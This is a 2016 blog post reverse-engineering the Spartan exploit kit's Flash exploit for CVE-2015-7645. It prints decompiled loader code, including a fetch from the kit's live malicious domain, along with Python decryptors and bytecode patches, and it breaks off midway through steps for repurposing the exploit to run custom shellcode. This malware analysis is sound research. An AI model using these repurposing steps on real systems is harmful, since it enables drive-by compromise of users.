Tuesday, 19 April 2016

Malware - Analysing and Repurposing Spartan's CVE-2015-7645


In this blog post we'll be looking at Spartan exploit kit's (EK's) CVE-2015-7645 Flash exploit. We'll go through the process of analyzing the obfuscated Flash file, deshelling it from protection layers and repurposing it to run our own shellcode.

I found Spartan EK to be a bit easier to deobfuscate than other exploit kits. This is all relative though and nothing in this process will be really easy !

The Fiddler file can be downloaded here.

Equipping our gear


The following is the setup, tools and files we'll be using throughout this endeavour:
  • Windows 7 64-bit
  • Internet Explorer 11
  • JPEXS - Best Flash Decompiler (imo)
  • Flash Player 19.0.0.207 SA Debug - Standalone version of Flash. This is the latest vulnerable version
  • Flash Player 19.0.0.207 AX - The ActiveX non-debug flavour of Flash
  • Flasm - Flash (dis)assembler

The debug version of Flash stand alone is verbose, throws errors when something goes wrong and supports the trace() function. The trace() function is used for testing and debugging purpose and will play a crucial role in this blog. To configure the debugger version of Flash create an mm.cfg file in the home directory (eg. C:\Users\<user>\mm.cfg) with the following contents:


    ErrorReportingEnable=1
    TraceOutputFileEnable=1


These settings tell Flash to log errors and redirect trace output to a file. The path and name of the file can be specified with the TraceOutputFileName parameter but by default it resides in %APPDATA%\Macromedia\Flash Player\Logs\flashlog.txt.


Scouting the GRift


The only thing we've got at hand is the Fiddler file containing a single pass of the Spartan EK Flash exploit. Fiddler files are very similar to pcaps and contain the requests and responses that occured during compromisation. Before we start I would like to thank @kafeine for providing me with this Fiddler file. For more information regarding the file itself visit his blog which is always up date with the latest EK expoits found in the wild.


The Fiddler file contains the following request/response pairs:
  1. SWF file - contains the exploit
  2. crossdomain.xml - cross-domain policy file which grants Flash permission to communicate with other servers
  3. XML file - will come into play later
  4. Payload - according to Kaffeine it's Pony or AlphaCrypt.
The main file of interest here is the SWF file so save the relevant response body from Fiddler for further analysis.


Equipping our skills


By now you're probably itching to start hacking away at the extracted Flash file but before I have to explain the method we'll be using to debug and understand the inner workings of the Flash files. This is the most effective method I came up with to analyse obfuscated Flash files. By no means I'm claiming it's the best way or the most efficient way of doing it but it worked for me. Having said that, this was my first attempt at reversing an EK so I'm still new to this scene.

As I've mentioned earlier the trace() function is used for debugging purposes and can be used to write any variable to the flashlog file. Think of it as a print or write to the log file. OK, so we just insert trace functions everywhere and we're done right? Well, yes and no. No because, even though JPEXS tries it's best to display the original Action Script 3 (AS3) source code, it doesn't handle obfuscation very well and more often than not will not compile the Flash file after it has been modified. On the other hand, JPEXS has a solid bytecode editor which allows us to modify bytecode directly and save the new Flash file; so yes, we'll be injecting the bytecode for the trace function.

To obtain the bytecode for trace, create the following AS3 class and compile it:


    package {
 
        import flash.display.MovieClip;

        public class traceClass extends MovieClip {

            public function traceClass() {
                // tracing fixed string
                trace("Hello World");
  
                // tracing variable
                var s:String = "Hello World";
                trace (s);
            }
        }
    }


The AS3 file uses trace() in 2 different ways, one on a static string and the other on a variable. Now open the resultant SWF file with JPEXS. The following are the 2 relevant sections:


    ...
    findpropstrict Qname(PackageNamespace(""),"trace")
    pushstring "Hello World"
    callpropvoid Qname(PackageNamespace(""),"trace") 1
    pushstring "Hello World"
    debugline 11
    coerce_s
    setlocal_1
    debugline 12
    findpropstrict Qname(PackageNamespace(""),"trace")
    getlocal_1
    callpropvoid Qname(PackageNamespace(""),"trace") 1
    ..


The trace functions span lines 2-4 and 10-12. The only difference between operating on a static string and a variable is just the line in the middle. If a static string is used, it is pushed onto the stack with pushstring before calling trace on it, whereas if we want to trace a variable, the latter is obtained with a get command. Note that if the variable is stored with setlocal_2 (rather than setlocal_1 like in line 8), we need to call getlocal_2, etc..

We'll be injecting these 3 lines, or a variation of them, whenever we want to display what's happening. Familiarise yourself with them as we'll be using them extensively.


Torment 1


With everything equipped, we can start looking at the SWF we've extracted earlier. Decompress the SWF file with flasm : flasm -x Torment1.swf. You can tell if an SWF is compressed or not by the first 3 bytes of the file:



CWS implies that the SWF file is compressed; FWS means it's not. We'll be working with the uncompressed version so load it into JPEXS. The file only contains 2 classes, 1 of which is the AS3 Base64 class. Focusing on the other class, MainTimeline, we notice that it's constructor calls frame1():


    function frame1() : *
    {
        this.QhrihiNE = "783427182340h29751t24335906t6556p8950:81830924235/8524385924047081/90649164";
        this.AsYtBsty = "153632010324.0635847936779304x546151328329m8295457206166335l580679395909960";
        this.ZQhiDQnz = "63246z2634a2436l754e6234i34636m3426n346e63v364i346s346k634i62346v2356g86o625r652l2o625.526w562e56b747547si74375t56e365";
        this.WasGNAQK = "IiIXIiIVIiIsiAIiIHIiIhqIiIXIiIHIiIV1IiITIiIT8IiInIiIPEIiIBIiI_IiITIiIgIiIcIiI";
        this.ShkZArak = /[0-9]/g;
        this.XtrYzyHQ = this.QhrihiNE.replace(this.ShkZArak,"");
        this.ETbDRAkD = this.ZQhiDQnz.replace(this.ShkZArak,"");
        this.DHBzKFSG = this.AsYtBsty.replace(this.ShkZArak,"");
        this.CHsSsDes = this.XtrYzyHQ + this.ETbDRAkD + "/" + this.WasGNAQK + this.DHBzKFSG;
        this.RASEGANa = /IiI/g;
        this.VeBhnHFA = new URLLoader();
        this.VeBhnHFA.load(new URLRequest(this.CHsSsDes.replace(this.RASEGANa,"")));
        this.VeBhnHFA.addEventListener(Event.COMPLETE,this.TteNDbdn);
        this.button.addEventListener(MouseEvent.MOUSE_DOWN,this.onClick);
    }


It's not difficult to deduce what the obfuscation technique is doing but let's use the trace() technique on this.CHsSsDes which concatenates 3 out of 4 strings after they've been deobfuscated. After inserting the trace bytecode, the new file should look like this:


    getlex Qname(PackageNamespace(""),"RegExp")
    pushstring "IiI"
    pushstring "g"
    construct 2

    findpropstrict Qname(PackageNamespace(""),"trace")
    getlocal_0
    getproperty Qname(PackageNamespace(""),"CHsSsDes")
    callpropvoid Qname(PackageNamespace(""),"trace") 1

    initproperty Qname(PackageNamespace(""),"RASEGANa")
    getlocal_0
    findpropstrict Qname(PackageNamespace("flash.net"),"URLLoader")


The inserted lines are 6-9. To come up with the contents of lines 7-8 I looked at how the variable CHsSsDes is being set, and replaced setproperty to getproperty. Set is used to push onto the stack while Get is used to pop from the stack; for every set there's a get. The getlocal_0 is what the this keyword translates to.

Save the file and open it with Flash SA. Hmm .. it pops an error which is also displayed in the flashlog:


Warning: HTTP send request error, 12007: /crossdomain.xml
Warning: Failed to load policy file from http://zaleimneviskivgorlo.website/crossdomain.xml
*** Security Sandbox Violation ***
Connection to http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml halted - not permitted from file:///C|/Users/Flash/Desktop/Spartan%20Blog/Torment%201/Torment1.swf
Error #2044: Unhandled securityError:. text=Error #2048: Security sandbox violation: file:///C|/Users/Flash/Desktop/Spartan%20Blog/Torment%201/Torment1.swf cannot load data from http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml.
 at non_adult_link1_fla::MainTimeline/frame1()
Error: Request for resource at http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml by requestor from file:///C|/Users/Flash/Desktop/Spartan%20Blog/Torment%201/Torment1.swf is denied due to lack of policy file permissions.

Flash is complaining about the lack of a crossdomain.xml file on the server it is trying to communicate with. The URLs that stand out in this error are:
  • http://zaleimneviskivgorlo.website/crossdomain.xml
  • http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml

Do they look familiar? Take a look at the Fiddler file again. Our Flash file only requests the 2nd URL; the 1st is a by-product but is still required for the 2nd request to be carried out. At this point we could spin up a web server to host these files and edit the URLs in the Flash file or, use Fiddler's AutoResponder feature. Opting for the latter is much easier. The following screenshot shows the 2 AutoResponder rules I've used:


Run the Flash file again. This time we don't get any errors and the flashlog contains the trace() output:


http://zaleimneviskivgorlo.website/IiIXIiIVIiIsiAIiIHIiIhqIiIXIiIHIiIV1IiITIiIT8IiInIiIPEIiIBIiI_IiITIiIgIiIcIiI.xml
Warning: Domain zaleimneviskivgorlo.website does not specify a meta-policy.  Applying default meta-policy 'master-only'.  This configuration is deprecated.  See http://www.adobe.com/go/strict_policy_files to fix this problem.


Ignore the warning at line 2. The 1st line contains the output of trace(this.CHsSsDes) which is a partially-obfuscated URL. By now we know what it will translate to after deobfuscation. This might have not been the best example to showcase the usefulness of the trace() function but I wanted to use it as early as possible to give you the time to get accustomed to it. In subsequent sections we'll encounter situations where it's not as easy to decipher the obfuscation. In those cases, the use of trace() will be paramount.

Looking back at the frame1() function, after the response is received the event listener (line 15) is triggered and TteNDbdn() is called:


    public function TteNDbdn(param1:Event) : void
    {
        this.FFtReGFe = XML(param1.target.data);
        var _loc2_:* = this.FFtReGFe.item[3];
        var _loc3_:* = Base64.decode(this.FFtReGFe.item[4]);
        var _loc4_:* = new (getDefinitionByName("flash.display.Loader") as Class)();
        _loc4_["loadBytes"](this.GSnRdsQb(_loc2_,_loc3_));
        addChild(_loc4_);
    }


The function loads the XML file from the response in this.FFrReGFe, extracts 2 items from it, base64 decodes the 2nd one and passes the 2 strings to this.GSnRdsQb. Let's stop here for the time being and inject some trace bytecode to view what _loc2_ contains; we can then deduce that _loc3_ will contain a base64 decoding of the next string found in the XML file.


    coerce_a
    setlocal_2

    findpropstrict Qname(PackageNamespace(""),"trace")
    getlocal_2
    callpropvoid Qname(PackageNamespace(""),"trace") 1

    getlex Qname(PackageNamespace("com.sociodox.utils"),"Base64")
    getlocal_0
    getproperty Qname(PackageNamespace(""),"FFtReGFe")


After running the SWF file, the Flash log contains the following string:

128cb5c296a363078b50cd400d5611da

Compare it with the XML file in the response:

    
    
    
    0efabd8e08ccd3604217c830c8ce97bf
    0bb046e55098f9afa5b1c6a3c35c26d5
    ed5bf8037ff394c045394e0f08293903
    128cb5c296a363078b50cd400d5611da
    cmVrbfqYYzJB7D1EVaMWe4sHTurVCe+GDQkIW+qHCbqHX+PVGU+57M7Lj+6LiGsmzUEG/1rxYSll
    ..
    ..
    XR5lkkziiLDQzl1IbBnKcCCMSRk1svJHQmdITuGmJo18vMJdB725883sw36DGNkNDAwZDU2MTFkYQ==
    


So _loc2_ contains the 4th item in the XML file; we can safely assume that _loc3_ contains a base64 decoding of the 5th string, which has been truncated in the above extract. This also makes sense as the last item is the only one which looks anything like a base64 encoded string. These 2 variables are passed to the GSnRdsQb() function:

    public function GSnRdsQb(param1:String, param2:ByteArray) : ByteArray
    {
        var _loc3_:ByteArray = new ByteArray();
        var _loc4_:int = 0;
        while(_loc4_ < param2["length"])
        {
            if(_loc4_ > param1["length"] - 1)
            {
               param1 = param1 + param1;
            }
            _loc3_["writeByte"](param2[_loc4_] ^ param1["charCodeAt"](_loc4_));
            _loc4_++;
        }
        _loc3_["position"] = 0;
        return _loc3_;
    }

This function is easily recognisable as an XOR encryption/decryption function where param1 is the key and param2, in our case_loc3_, is the message. From TteNDbdn() we know that the bytes of the variable returned by this function will be loaded to _loc4_ and added as a child class. But what is being loaded exactly? To answer this question we reconstruct the GSnRdsQb() function in python and input the values:


    import base64

    def decryptor (key, enc):
        encLen = len(enc)
        keyLen = len(key)
        key  = key * ((encLen / keyLen) + 1)
        key = key[:encLen]
        return bytearray(a^b for a, b in zip(*map(bytearray, [enc, key]))) 

    key      = "128cb5c296a363078b50cd400d5611da"
    enc64SWF = "cmVrbfqYYzJB7D1EVaMWe4 .. w36DGNkNDAwZDU2MTFkYQ=="

    f = open('1.bin', 'wb')
    encSWF = base64.b64decode(enc64SWF)
    temp = decryptor (key, encSWF)
    f.write(temp)
    f.close


The python program writes the result to 1.bin. Opening it in a hex editor we notice something interesting:


Yep .. it's an embedded Flash file. My speculation about the reason behind this is that 1) if the domain hosting the exploit changes, only the outer Flash file requires modification, 2) by getting hold of only this SWF file, malware analysts cannot deduce anything about the exploit itself.

Rename the file to Torment2.swf and let's move on; we've got a long way ahead of us.


Torment 2


Welcome to Torment 2 !! Extract the new Flash file with flasm and load it in JPEXS. Effectively only class xpTdZXAtR contains interesting code. Straight off the bat we notice a few similarities to the previous layer: an XOR encryption/decryption function, regular expressions, and obfuscated strings. Let's not jump ahead of ourselves though and tackle this methodically. The constructor calls function EimYJdprwLHD():


    private function EimYJdprwLHD(param1:Object = null) : void
    {
        var _loc3_:* = undefined;
        var _loc2_:LoaderContext = this.yYJREHXgUy("G5GHGJx6GqxJGz ... v5v5u7upv5z4z4z4uuuu");
        this[GQHtPVEtfy(WKEiwXYJbqUp)](GQHtPVEtfy(ainUIrXFKdm),this.EimYJdprwLHD);
        try
        {
            _loc3_ = new (this.wAPgQFJHo("") as Class)();
            _loc3_[GQHtPVEtfy(OKNgrbzEm)](TPbsJhbqQh(this.wAPgQFJHo("VVV")[NxOVolazP](/[(!)]/g,"")),_loc2_);
            this.stage[GQHtPVEtfy(tFioXzNKeK)](_loc3_);
            return;
        }
        catch(e:Error)
        {
            return;
        }
    }


We can't make much sense of it without deobfuscation. This process is handled by function GQHtPVEtfy() which simply removes Z's and !'s from the mangled strings. Not much of an obfuscation! Function wAPgQFJHo() also tries to hinder our progress but doesn't do a good job of it:


    private function wAPgQFJHo(param1:String) : *
    {
        if(param1 === "VVV")
        {
            return "!!!!!4d07059cb79e3545dcf7f0cf5bc33baa!!!!!!";
        }
        if("sd2" !== "FFF")
        {
            return getDefinitionByName(GQHtPVEtfy(wuVcLSRZne));
        }
    }


Inserting the unobfuscated strings and the returned variables from wAPgQFJHo(), we get a clearer picture:


    private function EimYJdprwLHD(param1:Object = null) : void
    {
        var _loc3_:* = undefined;
        var _loc2_:LoaderContext = this.yYJREHXgUy("G5GHGJx6GqxJGz ... v5v5u7upv5z4z4z4uuuu");
        this[removeEventListener]("addedtoStage",this.EimYJdprwLHD);
        try
        {
            _loc3_ = new (getDefinitionByName("flash.display.Loader") as Class)();
            _loc3_["loadBytes"](TPbsJhbqQh("4d07059cb79e3545dcf7f0cf5bc33baa"),_loc2_);
            this.stage["addChild"](_loc3_);
            return;
        }
        catch(e:Error)
        {
            return;
        }
    }


Much like the previous layer, this SWF file loads bytes into a loader class _loc3_ and adds it as a child. The bytes in question are returned from TPbsJhbqQh("4d07059cb79e3545dcf7f0cf5bc33baa"):

    public static function TPbsJhbqQh(param1:String) : ByteArray
    {
        var _loc2_:String = GQHtPVEtfy(wSXukGGsFR); //translates to "position"
        var _loc3_:ByteArray = new DonpQyvjmTqN() as ByteArray;
        var _loc4_:ByteArray = dMbRyCRNPq(param1,_loc3_);
        _loc4_[_loc2_] = 0;
        return _loc4_;
    }

The magic happens at line 5. dMbRyCRNPq() is the same XOR decryption function we encountered in Torment1.swf; we know what param1 is and that it will be used as the key; the missing piece of the puzzle is _loc3_. Let's use our favourite trace() bytecode injection technique to take a peek at it's contents. After the injection the bytecode should look similar to this:


    coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
    setlocal_3

    findpropstrict Qname(PackageNamespace(""),"trace")
    getlocal_3
    callpropvoid Qname(PackageNamespace(""),"trace") 1
    
    findpropstrict Qname(PackageNamespace(""),"dMbRyCRNPq")
    getlocal_1


Running the SWF file and opening the flashlog we see total chaos:


Where did this come from? The bytes are taken from the SWF file itself. Take a look at JPEXS, under binaryData:


The 2 files do not match tit for tat as trace does not handle non-ascii characters very well, but they are the same set of data. Going back to the bigger picture, Torment.swf XOR-decrypts a blob of binary data using 4d07059cb79e3545dcf7f0cf5bc33baa as the key. Export the binary data from JPEXS, modify the python XOR-decryptor program we used earlier to read the bytes from this file and run it. As expected we get another SWF file. Rename it to Torment10.swf.

Before we move on, there's something important I would like to revisit in function EimYJdprwLHD(). The function called at line 4 passes a strange-looking string to this.yYJREHXgUy:


      private function yYJREHXgUy(param1:String) : LoaderContext
      {
         var _loc2_:LoaderContext = new LoaderContext();
         _loc2_.parameters = {"exec":param1};
         return _loc2_;
      }

The string, now located in param1, is associated with the word "exec" and loaded as a parameter of loaderContext _loc2_ on line 4. After it has been returned by yYJREHXgUy(), the variable is loaded, via loadBytes, to Torment10.swf on line 9 in EimYJdprwLHD(). This is the method used by SWF files to pass parameters to child SWF files and hence Torment10.swf will have access to this "exec" string.


Torment 10


What's happening here? Where are the rest of the Torment levels? As you will soon find out, this SWF file will be our toughest hurdle yet, hence the jump in levels. Decompress and load in JPEXS.

The Flash file looks nothing like the previous 2; it contains 23 strangely-named highly-obfuscated classes. Unfortunately going through each and every line of code is not an option. The plan is to skim through the execution path, going into detail only where necessary.

Running Torment10.swf throws an error which we haven't encountered yet:


TypeError: Error #1009: Cannot access a property or method of a null object reference.
    at class_1$/asfsgrggvxvb()
    at class_1$/Init()
    at class_7/Init()
    at class_7()


The function class_7.Init() tries to loads the "exec" value from loaderInfo.parameters which is meant to be passed from the parent SWF file. As we have done away with the parent layer, the SWF is complaining that the value is null. We can fix this by setting the string as a constant in the SWF file directly. Replace the bytecode of the function with the following:

    code
    getlocal_0
    pushscope
    findpropstrict Qname(PackageNamespace("","2"),"removeEventListener")
    pushstring "addedToStage"
    getlex Qname(PackageInternalNs(""),"init")
    callpropvoid Qname(PackageNamespace("","2"),"removeEventListener") 2
    pushnull
    coerce_s
    setlocal_3
    ofs0010:pushstring "G5GHGJx6GqxJGzxJ ... qvqu5w7uGv5v5v5v5v5v5v5v5u7upv5z4z4z4uuuu"
    coerce_s
    setlocal_3
    ofs0015:jump ofs0026
    ofs0019:getlocal_0
    pushscope
    newcatch 0
    dup
    setlocal 5
    dup
    pushscope
    swap
    setslot 1
    popscope
    ofs0026:getlex Qname(PackageNamespace("","2"),"class_1")
    getlocal_3
    callpropvoid Qname(PackageNamespace("","2"),"Init") 1
    returnvoid
    returnvoid

The ActionScript source equivalent looks like this:

    private function Init(param1:Event = null) : void
    {
        removeEventListener("addedToStage",init);
        var _loc3_:String = null;
        _loc3_ = "G5GHGJx6GqxJGzxJGH ... 7uGv5v5v5v5v5v5v5v5u7upv5z4z4z4uuuu";
        class_1.Init(_loc3_);
    }

Remember that JPEXS does not handle editing AS3 directly very well so copy and paste the bytecode and save. Opening the Flash file should not display any errors now. The next function in line is class_1.Init(_loc3_):


    public static function Init(param1:String) : *
    {
        var _loc4_:* = undefined;
        var _loc2_:* = undefined;
        var _loc5_:* = null;
        var _loc3_:uint = class_10.method_54();
        if(_loc3_ <= 190000207)
        {
            §_-5§ = asfsgrggvxvb(param1);
            _loc4_ = class_10.rc4_decrypt(class_11.method_72(r3dbsdf()),§_a_-_---§.§_a_--_--§(-1820302796));
            var_96 = JSON["parse"](_loc4_.readUTFBytes(_loc4_.length));
            try
            {
                §_-q§.method_48(var_96);
                if(§_-Q§)
                {
                    extLoaded(null);
                    return;
                }
                _loc2_ = class_11.method_72(§_-q§.vari42);
                _loc2_[§_-q§.vari37]();
                _loc2_[§_-q§.vari12] = 0;
                _loc5_ = new §_-q§.vari4();
                _loc5_[§_-q§.vari38][§_-q§.vari39](Event[§_-q§.vari40],extLoaded);
                _loc5_[§_-q§.vari41](_loc2_,new LoaderContext(false,ApplicationDomain[§_-q§.vari30]));
                return;
            }
            catch(e:Error)
            {
                return;
            }
        }
    }


Notice the Flash version checking on line 7. If Flash is newer than v19.0.0.207, execution stops. As we're using that exact version we'll be exploited, as intended. Line 9 assigns the string in "param1" to §_-5§ which is defined in superclass class_0. Lines 10-11 seem to be base64 decoding some data (class_11.method_72), decrypting it using RC4 (class_10.rc4_decrypt), loading it into _loc4_, parsing it as JSON (JSON["parse"]) and loading it into var_96. Thanks to trace we can directly peek at the end result i.e. the contents of _loc4_, which is expected to be in JSON format:

{
    "vari1": "flash.utils.ByteArray",
    "vari2": "flash.system.Capabilities",
    "vari3": "flash.utils.Endian",
    "vari4": "flash.display.Loader",
    "vari5": "",
    "vari6": "",
    "vari7": "",

    ...

    "vari89": 7,
    "vari90": 4096,
    "vari91": 3221225472,
    "vari92": 24,
    "vari93": 50,
    "vari94": 20
}

The method §_-q§.method_48 at line 14 takes this JSON object stored in var_96 and maps it to class §_-q§. For example, vari1 will be equal to §_-q§.vari1, vari2 will be equal to §_-q§.vari2, etc. With this information at hand and some trace bytecode injection we can resolve most of the obfuscated variables located in class_1.Init(_loc3_):


    public static function Init(param1:String) : *
    {
        var _loc4_:* = undefined;
        var _loc2_:* = undefined;
        var _loc5_:* = null;
        var _loc3_:uint = class_10.method_54();

        //Version checking : Continue only if Flash <= 19.0.0.207
        if(_loc3_ <= 190000207)
        {
            //Decodes param1 and assigns it to a global variable
            §_-5§ = asfsgrggvxvb(param1);
            //_loc4_ contains the JSON displayed before
            _loc4_ = class_10.rc4_decrypt(class_11.method_72(r3dbsdf()),§_a_-_---§.§_a_--_--§(-1820302796));
            //parses _loc4_ as JSON and assigns it to var_96
            var_96 = JSON["parse"](_loc4_.readUTFBytes(_loc4_.length));
            try
            {
                //maps the JSON object to class §_-q§
                §_-q§.method_48(var_96);
                if(§_-Q§)
                {
                    extLoaded(null);
                    return;
                }
                //Base64 decode some string
                _loc2_ = class_11.method_72("eJzFmPl3XFVyx9+9Xa1qrZZk+Um ... cv/O01+Xjv/DZCjV0Q=");
                // Decompress it using zlib (default algorithm)
                _loc2_["uncompress"]();
                _loc2_["position"] = 0;
                _loc5_ = new flash.display.Loader();
                //Event listener : jump to function extLoaded() when the event is completed
                _loc5_["contentLoaderInfo"]["addEventListener"](Event["COMPLETE"],extLoaded);
                //load bytes from _loc2_ (suggests _loc2_ contains another SWF file)
                _loc5_["loadBytes"](_loc2_,new LoaderContext(false,ApplicationDomain["currentDomain"]));
                return;
            }
            catch(e:Error)
            {
                return;
            }
        }
    }


We now have a much better understanding at what the function does. Once again we encounter a very familiar scenario: some bytes are decoded/decrypted, an event listener is attached, the bytes are loaded. When the event completes, function extLoaded() is called. Using trace on _loc2_ after compression we notice the magic bytes of an uncompressed SWF:


Another Flash file ??!! Really ?!? To analyse it in JPEXS we can't use this output since, as I've mentioned earlier, trace does not handle non-ascii characters very well. The file is constructed by base64 decoding a string and uncompressing it using zlib, the default (de)compression algorithm used by Flash. Let's create a small python script to do this for us:

    import base64
    import zlib

    encCompSWF = "eJzFmPl3XFVyx9+9Xa1qrZZk+UmWLFu2 ... 7V68t/zOk/N9pPcv/O01+Xjv/DZCjV0Q="
    compSWF = base64.b64decode(encCompSWF)
    SWF = zlib.decompress(compSWF)

    with open('cowlevel.swf', 'wb') as f:
        f.write(SWF)


The SWF file is decompressed so load it into JPEXS.


The Cow Level is a Lie


This SWF file contains the actual Type Confusion vulnerability (CVE-2015-7645) discovered by @natashenka from Google Project Zero. In her post she writes:

If IExternalizable.writeExternal is overridden with a value that is not a function, Flash assumes it is a function even though it is not one. This leads to execution of a 'method' outside of the ActionScript object's ActionScript vtable, leading to memory corruption.

In cowlevel.swf file this happens in class MyExt1:

    ...
    var a27:Object;
    var writeExternal:Object = true;
      
    public function MyExt1()
    {
        super();
    }
    ...

The writeExternal function is overwridden with object "true". Analysing the CVE itself is not in scope for this blog so I'll be leaving it at that.

There's not much else going on in this file so back to Torment10.swf.


Torment 10 (revisited)


Continuing from where we left off, we're in extLoaded() which was called by the event handler after cowlevel.swf has been loaded. This function essentially calls EXP_try() which hooks into MyExt2() from cowlevel.swf and predicts the crash amongst other things:

    // _loc4_[§_-q§.vari33] => [object MyExt2]["writeExternal"]
    var _loc6_:* = _loc4_[§_-q§.vari33];
    if(_loc6_ is Function)
    {
        Throw("");
    }

As described in the previous section, the crash happens when writeExternal is assigned to anything other than a function. If it is still of type function, the exploit did not work hence it will throw an error and halt execution. We're running a vulnerable version of Flash so we have no issues here. EXP_try() then calls class_4.EXP_try(_loc4_) or §_-I§.EXP_try(_loc4_) depending on the architecture it is running on:

    //_loc4_[§_-q§.vari36] => [object MyExt2]["x64"]
    if(_loc4_[§_-q§.vari36])
    {
        class_4.EXP_try(_loc4_);
    }
    else
    {
        §_-I§.EXP_try(_loc4_);
    }

A trace reveals that _loc4_[§_-q§.vari36] returns "undefined" and since we're on an x64 machine I'm assuming that the check is on the process itself (which is 32-bit) rather than the machine, which also makes more sense from an exploitation point of view. The function §_-I§.EXP_try(_loc4_) is executed next.

This function is a good example of why the AS3 interpretation in JPEXS should not be trusted blindly. According to the bytecode of Torment10.swf, there are a few functions that are executed before others but they're displayed after in the AS3 interpretation. In essence, §_-I§.EXP_try(_loc4_) makes the following relevant call:

    // §_-q§.vari45 => "db7f335571b4f0c67670335deefe2e3c" taken from the JSON structure
    // §_-5§        => from class_1.Init() (§_-5§ = asfsgrggvxvb(param1);)
    // §_-p§        => [class _-p]
    // CleanUp      => some non-important function in this class
    §override const§.Load(§_-q§.vari45,§_-5§,§_-p§,CleanUp);

The AS3 interpretation is even worse here than in the previous function. Additionally the first few lines which, as we'll see later are crucial to the repurposing of this exploit, are completely left out of the AS3 translation. The following is the beginning of the Load function in class §override const§:

    static function Load(param1:String, param2:String, param3:Class, param4:Function) : *
    {
        try
        {
            _loc5_.position = _loc5_.length;
            if(_loc9_)
            {
                while(true)
                {
                    _loc5_.endian = "littleEndian";
    ...

Whilst the bytecode tells a different story:

    code
    getlocal_0
    pushscope
    pushnull
    setlocal 5
    pushnull
    setlocal 6
    ofs0008:findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray")
    constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0
    coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
    setlocal 5
    findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray")
    constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0
    coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
    setlocal 6
    getlex Qname(PackageNamespace("_-A"),"class_10")
    getlex Qname(PackageNamespace("continue const"),"class_11")
    pushstring "VgngSua8bVXwXmNqNzBQakeey/zpsGEqViS ... oN67pst0uMRoJTpZsZRgNnL7pmq6NY7VV1r/nBQVh"
    callproperty Qname(PackageNamespace("","2"),"method_72") 1
    getlocal_1
    callproperty Qname(PackageNamespace("","2"),"rc4_decrypt") 2
    coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
    dup
    dup
    setlocal 5

Where has _loc5_ been initialised in the AS3? Where is the string defined on line 18 in the AS3? For the 2nd question I'm not sure if this was done on purpose by the malware writers or a by-product of SecureSWF but either way it's another good reason not to trust the AS3 source. This function does the following:
  1. Declares _loc5_ and _loc6_ as ByteArrays
  2. Base64 decodes and then RC4 decrypts the string on line 18 using param1 i.e. db7f335571b4f0c67670335deefe2e3c as key
  3. Converts param2 i.e §_-5§ i.e asfsgrggvxvb(param1) from hex to ByteArray (h2ba function)
  4. Concatenates the 2 strings together using writeBytes and stores the resultant in _loc5_
  5. Sets the endianness of _loc5_ to "littleEndian"
  6. Calls param3["Exec"](_loc5_) i.e. §_-p§.Exec(_loc5_)
The next function then takes _loc5_, converts it to a vector (CopyBAToVector), gets it's address(GetAddrV0), finds the address of Virtual Protect (FindVP), calls it (CallVP), gets the address of the _loc5_ (GetAddr), writes it in the newly created memory space (Set) and calls it (Payload.call). This could mean only 1 thing: _loc5_ is the shellcode!!

An easy method to prove this conjecture is by changing the string on line 18 to 0xCC's. If what we claim is true, the debugger should halt at this point as an 0xCC is a debugger interrupt. Change the bytecode to reflect this:

    ...
    coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
    setlocal 6
    findpropstrict Qname(PackageNamespace("","2"),"h2ba")
    getlocal 5
    pushstring "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
    callproperty Qname(PackageNamespace("","2"),"h2ba") 2
    coerce Qname(PackageNamespace("flash.utils"),"ByteArray")
    dup
    dup
    setlocal 5
    getproperty Qname(PackageNamespace("","2"),"length")
    setproperty Qname(PackageNamespace("","2"),"position")
    getlocal 9
    iffalse ofs00ac
    ...

The modified lines are 4 - 13. These create a string of C's, convert it into a ByteArray using the h2ba function found in the same class and set it's position to the end, i.e. equal to it's length. The last operation is very important since another string is appended to this. The position property of a ByteArray is exclusive to ActionScript (as far as I know). It is used as a pointer to determine from where reads and writes start to operate. If we do not explicitly set the position to point at the end of the string, the concatenation might overwrite our string. Running the Flash SA version under IDA and loading the modified Torment10.swf file we get the following result:


This is exactly what we've been aiming for throughout this blog post!! At this point we don't need to perform any more analysis. We have a decent idea of what Spartan EK is doing and, most importantly, we know where the shellcode is and how it is constructed. In the next section we'll repurpose this exploit to run our own shellcode.

Transmogrifying the Ancient Loot (Repurposing the Exploit)


The most straight forward method of repurposing the exploit is to replace the existing shellcode with ours. Albeit it's the easiest way, it is not extentable and modifying the Flash file every time is a pain. A better way of achieving this is by creating an html landing page which serves both the exploit and the shellcode directly from the page itself.

By now you have probably realised that we can use Torment10.swf directly. Torment1.swf and Torment2.swf were merely there for obfuscation and anti-reversing purposes. So, let's start with a clean version of Torment10.swf and see what alterations are required. Currently the end shellcode is a concatenation of the following parts:
  • Part 1 - Hardcoded as a string in §override const§.Load() function
  • Part 2 - Passed as a variable named "exec" from the parent layer (Torment2.swf)
As we only need a single method, we keep Part 2 and do away with Part 1. Why not the other way round? The reason is that Part 1 is already passed as a variable from an external entity and hence the code for this procedure is already in place. Luckily for us, the AS3 code for accessing an external variable is the same, irrelevant it is being passed from a parent SWF or an html landing page.

Make sure to perform the following operations on an unmodified version of Torrent10.swf. The first modification is the following line in class_1.Init():

    §_-5§ = asfsgrggvxvb(param1);

Remove the findpropstrict and callproperty bytecode instructions to function asfsgrggvxvb. The section now looks like this:

    ...
    getlocal_3
    pushint 190000207
    ifnle ofs00f7
    getlocal_1
    findproperty Qname(PackageInternalNs(""),"_-5")
    swap
    setproperty Qname(PackageInternalNs(""),"_-5")
    getlex Qname(PackageNamespace("_-A"),"class_10")
    ...

The AS3 window in JPEXS should now display the following line instead:

    §_-5§ = param1;

The 2nd and last change required is to remove the 1st part of the previous shellcode from function §override const§.Load(). Unfortunately I can't show the difference in AS3 here as JPEXS does not translate it very well and misses important sections. The following is the bytecode in question:

